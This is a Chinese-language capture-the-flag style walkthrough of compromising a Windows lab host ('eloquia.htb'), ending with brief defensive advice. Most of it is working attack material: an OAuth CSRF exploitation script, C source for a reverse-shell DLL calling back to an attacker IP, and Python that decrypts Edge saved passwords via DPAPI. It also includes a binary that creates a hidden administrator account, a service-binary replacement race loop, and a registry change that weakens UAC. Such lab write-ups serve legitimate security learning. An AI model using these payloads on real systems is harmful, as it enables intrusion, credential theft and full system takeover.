从 OAuth 逻辑漏洞到 Windows 服务竞态条件提权
字数 1981 2025-12-23 12:16:57
从 OAuth 逻辑漏洞到 Windows 服务竞态条件提权完整攻击链分析
信息收集阶段
网络扫描与端口发现
使用 masscan 进行快速端口扫描:
sudo masscan -p1-65535 10.10.11.99 --rate=1000 -e tun2
发现开放端口:
- 80/tcp - HTTP服务(Microsoft IIS 10.0)
- 5985/tcp - WinRM服务(Microsoft HTTPAPI 2.0)
详细服务探测
使用 nmap 进行深度扫描:
sudo nmap -O -A 10.10.11.99
关键发现:
- 域名重定向:
http://eloquia.htb - 操作系统:Windows Server 2019 或 Windows 10
- Web服务器:Microsoft IIS 10.0
子域名枚举
使用 ffuf 进行子域名爆破:
ffuf -t 400 -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
-u http://eloquia.htb \
-H "Host: FUZZ.eloquia.htb" -ac
未发现有效子域名。
目录扫描
使用 dirsearch 进行路径枚举:
dirsearch -u http://eloquia.htb/ -x 404
发现关键路径:
/about/- 关于页面/accounts/login/- 登录页面/contact/- 联系页面
OAuth 逻辑漏洞利用
发现OAuth认证端点
在登录页面发现第三方登录选项:
- Qooqle(仿Google OAuth服务)
OAuth授权URL结构:
http://qooqle.htb/login/?next=/oauth2/authorize/%3Fclient_id%3DriQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//eloquia.htb/accounts/oauth2/qooqle/callback/
漏洞分析
缺失的安全参数:
- 缺少
state参数 - 存在CSRF漏洞 - 授权码有效期短(约30秒)
- 可绑定任意账户到OAuth提供者
攻击链构建
- 注册攻击者账户:在Eloquia平台创建普通用户账户
- 关联OAuth账户:将攻击者账户与Qooqle OAuth关联
- 构造CSRF攻击页面:利用文章举报功能向管理员发送恶意链接
自动化攻击脚本
import requests
from urllib.parse import urlparse, parse_qs
from http.server import BaseHTTPRequestHandler, HTTPServer
import threading
# OAuth配置参数
SETTINGS = {
'oauth_provider': 'http://qooqle.htb',
'client_id': 'riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi',
'callback_uri': 'http://eloquia.htb/accounts/oauth2/qooqle/callback/',
'req_timeout': 10
}
USER_DATA = {
'user': 'attacker',
'pass': 'attacker_password'
}
def extract_token(html_content):
"""从HTML中提取CSRF令牌"""
# 实现令牌提取逻辑
pass
def login_site_B(session):
"""登录Qooqle OAuth提供者"""
try:
login_url = f"{SETTINGS['oauth_provider']}/login/"
r = session.get(login_url, timeout=SETTINGS["req_timeout"])
token = extract_token(r.text)
payload = {
"csrfmiddlewaretoken": token,
"username": USER_DATA["user"],
"password": USER_DATA["pass"],
}
res = session.post(login_url, data=payload, headers={"Referer": login_url})
return res.status_code in (200, 302)
except Exception as e:
return False
def fetch_oauth_token(session):
"""获取OAuth授权码"""
auth_url = f"{SETTINGS['oauth_provider']}/oauth2/authorize/?client_id={SETTINGS['client_id']}&response_type=code&redirect_uri={SETTINGS['callback_uri']}"
r = session.get(auth_url, timeout=SETTINGS["req_timeout"], allow_redirects=False)
token = extract_token(r.text)
payload = {
"csrfmiddlewaretoken": token,
"redirect_uri": SETTINGS["callback_uri"],
"scope": "read write",
"client_id": SETTINGS["client_id"],
"state": "",
"response_type": "code",
"allow": "Authorize",
}
res = session.post(auth_url, data=payload, headers={
"Referer": auth_url,
"Origin": SETTINGS["oauth_provider"]
}, allow_redirects=False)
return res.headers.get("Location")
SQLite load_extension() RCE利用
管理员功能发现
获得管理员权限后,发现SQL查询功能:
- 位置:管理面板 → SQL浏览器
- 限制:禁用INSERT、CREATE等危险操作
load_extension()函数利用
测试load_extension功能:
SELECT load_extension('test.dll');
返回错误但确认函数可用,表明可加载外部DLL。
恶意DLL开发
创建反向Shell DLL(绕过防御):
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#define REMOTE_HOST "10.10.16.71"
#define REMOTE_PORT 10086
typedef struct sqlite3 sqlite3;
typedef struct sqlite3_api_routines sqlite3_api_routines;
static const sqlite3_api_routines *sqlite3_api = 0;
DWORD WINAPI DbMaintenanceTask(LPVOID lpParam) {
WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
WSAStartup(MAKEWORD(2, 2), &wsa);
sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
server.sin_family = AF_INET;
server.sin_port = htons(REMOTE_PORT);
server.sin_addr.s_addr = inet_addr(REMOTE_HOST);
connect(sock, (struct sockaddr*)&server, sizeof(server));
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(sock);
WSACleanup();
return 0;
}
__declspec(dllexport) int sqlite3_extension_init(sqlite3 *db, char **pzErrMsg,
const sqlite3_api_routines *pApi) {
sqlite3_api = pApi;
CreateThread(NULL, 0, DbMaintenanceTask, NULL, 0, NULL);
return 0;
}
编译与部署
gcc -shared -O2 -s -o sqll.dll sqllite.c -lws2_32
通过文章编辑功能上传DLL文件,路径为:static\assets\images\blog\sqll.dll
触发执行
SELECT load_extension('static\assets\images\blog\sqll.dll');
权限提升阶段
初始权限评估
whoami /priv
当前权限有限,仅具备:
- SeChangeNotifyPrivilege
- SeIncreaseWorkingSetPrivilege(禁用)
横向移动准备
发现自动化脚本文件:
# C:\Program Files\Automation Scripts\seleniumSimulator.py
from selenium import webdriver
import requests
session = requests.Session()
login_url = "http://eloquia.htb/accounts/login/"
# 硬编码凭证
payload = {
"username": "admin",
"password": "MyEl0qu!@Admin", # 关键发现
"csrfmiddlewaretoken": csrf_token
}
DPAPI主密钥提取
定位加密数据
Edge浏览器数据文件:
C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local StateC:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
提取加密密钥
Local State文件中发现DPAPI加密密钥:
"encrypted_key": "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABzr42Q+SDgR78a6A6x6z+EEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABZqUTKi+3PgIqd3Qa3HRY2/JCmSDJLECa+TMtiB0cTPAAAAAAOgAAAAAIAACAAAAB0hEH7C3oQN6ghOwRl2cHGV2G3/o/oobqZ3Zm0uQNUhjAAAAAWtJnWT3GsY2PXsMOl66xYaMIXJodfrvLK5HVzFOvcGuw1CJn8xvbLF0LLyaOLujdAAAAA+vRmKffc2JdtiXx3o7Pvxy5CiU8YAuklDgNkgE+eAFDiAhBb5ZWr7zp30+GtPk4qluAXDrum+QHtuygfoywpTw=="
DPAPI解密脚本
import os
import json
import base64
import ctypes
from ctypes import wintypes
class DATA_BLOB(ctypes.Structure):
_fields_ = [("cbData", wintypes.DWORD),
("pbData", ctypes.POINTER(ctypes.c_byte))]
def get_master_key():
local_state_path = r'C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local State'
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.loads(f.read())
encrypted_key_b64 = local_state["os_crypt"]["encrypted_key"]
encrypted_key = base64.b64decode(encrypted_key_b64)[5:] # 移除DPAPI前缀
blob_in = DATA_BLOB(len(encrypted_key),
(ctypes.c_byte * len(encrypted_key)).from_buffer_copy(encrypted_key))
blob_out = DATA_BLOB()
ctypes.windll.crypt32.CryptUnprotectData(ctypes.byref(blob_in), None, None, None, None, 0,
ctypes.byref(blob_out))
decrypted_key = (ctypes.c_byte * blob_out.cbData).from_address(
ctypes.addressof(blob_out.pbData.contents))
key_bytes = bytearray(decrypted_key)
ctypes.windll.kernel32.LocalFree(blob_out.pbData)
return key_bytes.hex()
print("Master Key:", get_master_key())
密码数据库解密
获得主密钥:c7f1ad7b079947b4bb1dc53b8740440651b6c9f5caf7fd9a18bbece57c7bd444
解密Login Data数据库:
import sqlite3
from Crypto.Cipher import AES
def decrypt_password(encrypted_value, key):
try:
if encrypted_value[:3] != b'v10':
return "(Not v10 encrypted)"
iv = encrypted_value[3:15]
payload = encrypted_value[15:]
ciphertext = payload[:-16]
tag = payload[-16:]
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
decrypted_pass = cipher.decrypt_and_verify(ciphertext, tag)
return decrypted_pass.decode('utf-8')
except Exception as e:
return f"(Error: {e})"
# 解密结果
"""
URL | Username | Password
http://eloquia.htb/accounts/login/ | Olivia.KAT | S3cureP@sswdIGu3ss
https://eloquia.htb/ | test | testtest1234!
https://chatgpt.com/ | olivia.kat | S3cureP@sswd3Openai
"""
横向移动
使用WinRM连接Olivia.KAT账户:
evil-winrm -i 10.10.11.99 -u 'Olivia.KAT' -p S3cureP@sswdIGu3ss
Failure2Ban服务竞态条件提权
服务分析
发现Failure2Ban服务:
- 用途:防暴力破解(通常用于Linux,Windows版本存在设计缺陷)
- 权限:需要管理员权限读取日志文件
- 漏洞点:服务重启时的竞态条件窗口
权限验证
net localgroup "Remote Management Users"
确认Olivia.KAT具有远程管理权限。
竞态条件利用
创建管理员用户程序
#include <windows.h>
#include <lm.h>
#define NEW_USER L"choice"
#define NEW_PASS L"QWEqwe123!@#"
void execute_payload() {
USER_INFO_1 ui;
NET_API_STATUS nStatus;
ui.usri1_name = NEW_USER;
ui.usri1_password = NEW_PASS;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD | UF_NORMAL_ACCOUNT;
nStatus = NetUserAdd(NULL, 1, (LPBYTE)&ui, NULL);
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = NEW_USER;
nStatus = NetLocalGroupAddMembers(NULL, L"Administrators", 3,
(LPBYTE)&account, 1);
}
int main(void) {
execute_payload();
return 0;
}
编译部署
gcc -O2 -s -o failure2ban.exe addr.c -lnetapi32
文件替换攻击
cmd /c "for /L %i in (1,0,2) do (copy /Y C:\ProgramData\failure2ban.exe Failure2Ban.exe && exit)"
UAC绕过注册表修改
创建第二个Payload修改远程访问策略:
#include <windows.h>
void execute_payload(void) {
HKEY hKey;
DWORD data = 1;
RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
0, KEY_SET_VALUE, &hKey);
RegSetValueExA(hKey, "LocalAccountTokenFilterPolicy", 0,
REG_DWORD, (const BYTE*)&data, sizeof(data));
RegCloseKey(hKey);
}
int main(void) {
execute_payload();
return 0;
}
最终权限获取
- 等待Failure2Ban服务重启(约6-7分钟周期)
- 恶意程序以SYSTEM权限执行
- 创建管理员用户
choice并加入Administrators组 - 修改注册表启用远程管理
- 使用新凭证获得完全控制权限
防御建议
OAuth安全加固
- 始终使用state参数防止CSRF
- 实施PKCE扩展保护授权码
- 限制redirect_uri到可信域名
- 设置合理的授权码过期时间
应用程序安全
- SQLite安全配置:
- 禁用load_extension功能
- 实施严格的输入验证
- 使用参数化查询
系统安全加固
-
服务安全:
- 实施文件完整性监控
- 使用服务恢复策略
- 限制服务账户权限
-
DPAPI保护:
- 使用专用密钥存储
- 实施凭据保护策略
- 定期轮换主密钥
-
权限管理:
- 遵循最小权限原则
- 实施适当的UAC策略
- 监控特权账户活动
此攻击链展示了从Web应用漏洞到系统完全控制的完整路径,强调了纵深防御的重要性。